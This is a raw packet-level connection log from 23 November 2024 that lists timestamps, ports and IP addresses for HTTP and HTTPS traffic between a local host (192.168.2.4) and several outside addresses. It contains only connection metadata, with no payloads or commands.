Nov 23, 2024 15:22:41.044341087 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.044404984 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.045269966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.045414925 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.045474052 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.046336889 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.046453953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.046509027 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.047393084 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.047441959 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.047513008 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.048505068 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.048563004 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.048607111 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.049516916 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.049570084 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.049643040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.049735069 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.050554991 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.050738096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.050812960 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.051624060 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.051749945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.051808119 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.052686930 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.052755117 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.052810907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.053774118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.053832054 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.053905964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.054816961 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.054878950 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.054927111 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.054980040 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.055885077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.056006908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.056067944 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.056982040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.057132959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.057197094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.058016062 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.058085918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.058104038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.059098005 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.059156895 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.059201002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.059803963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.060177088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.060213089 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.060282946 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.061194897 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.061295033 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.061348915 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.062349081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.062405109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.062477112 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.063308954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.063374996 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.063376904 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.063724995 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.064357042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.064435005 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.064481020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.064899921 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.065501928 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.065615892 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.065666914 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.066560984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.066622019 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.066756964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.066898108 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.067528963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.067581892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.067643881 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.067692995 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.068578005 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.068633080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.068701982 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.068758011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.069660902 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.069747925 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.069778919 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.069824934 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.070687056 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.070745945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.070807934 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.070858002 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.071773052 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.071881056 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.071943045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.072819948 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.072902918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.072951078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.073005915 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.073859930 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.073939085 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.073990107 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.074043989 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.074934959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.075005054 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.075087070 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.075144053 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.076000929 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.076062918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.076123953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.076772928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.077074051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.077131033 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.077198982 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.077267885 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.078152895 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.078213930 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.078279972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.078414917 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.079211950 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.079266071 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.079266071 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.079353094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.080219030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.080279112 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.080316067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.080383062 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.090938091 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:41.091172934 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:41.091237068 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:41.099204063 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:41.099234104 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:41.340044975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.341926098 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.345400095 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.345479012 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.359745026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.359781027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.359817028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.360024929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.461517096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.461585999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.461733103 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.461803913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.461843967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.461896896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.461899042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.461947918 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.461957932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.461981058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462014914 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462065935 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462069988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462095976 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462124109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462148905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462157965 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462168932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462192059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462215900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462239027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462245941 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462289095 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462291002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462325096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462359905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462378979 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462379932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462393045 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462409973 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462426901 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462440014 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462472916 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462493896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462529898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462563992 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462589025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462596893 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462619066 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462646008 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462652922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462682009 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462694883 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462733030 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462737083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462769985 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462807894 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462826967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462841988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462874889 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462908983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462920904 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462943077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462955952 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.462977886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.462992907 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463011026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463023901 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463046074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463062048 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463078976 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463098049 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463112116 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463120937 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463150024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463160992 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463184118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463211060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463218927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463232040 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463253021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463262081 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463287115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463299036 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463335037 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463337898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463371038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463406086 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463421106 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463438034 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463471889 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463490009 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463505030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463525057 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463538885 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463572979 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463591099 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463607073 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463640928 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463649035 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463674068 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463680983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463706017 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463743925 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463756084 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463776112 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463815928 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463828087 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463850975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463865042 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463885069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463917971 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463934898 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.463952065 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.463984966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464010954 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464031935 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464102983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464137077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464170933 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464186907 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464204073 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464236975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464250088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464270115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464278936 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464387894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464422941 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464440107 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464456081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464489937 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:41.464502096 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464548111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:41.464557886 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.465030909 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:41.467489004 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.469860077 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.469876051 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.470300913 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.470304966 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.470808029 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.471272945 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.471287966 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.471730947 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.471735954 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.473233938 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.473575115 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.473607063 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.473962069 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.473973989 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.535212994 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:41.535271883 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:41.654978037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.655018091 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.655081034 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.655108929 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.655160904 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.655189037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:41.787163019 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.787638903 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.787655115 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.788255930 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.788265944 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.791506052 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.791820049 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.791841030 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.792202950 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.792207003 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915024996 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915168047 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915177107 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915215969 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.915299892 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915474892 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.915488005 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915498972 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.915503979 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.915514946 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.916302919 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.916472912 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.916572094 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.916577101 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.916620016 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.920341015 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.920341015 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.920382023 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.920406103 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.922492981 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.922547102 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.922627926 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.922863960 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.922907114 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.923876047 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.923892975 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.923949957 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.924247980 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.924257994 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.926043987 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.926069021 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:41.926161051 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.926273108 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:41.926285982 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.239346027 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.242568016 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.242629051 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.247513056 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.247513056 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.247534037 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.247555017 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.251437902 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.251451015 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.251526117 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.252003908 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:42.252012968 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:42.258074999 CET	443	49858	13.107.246.63	192.168.2.4
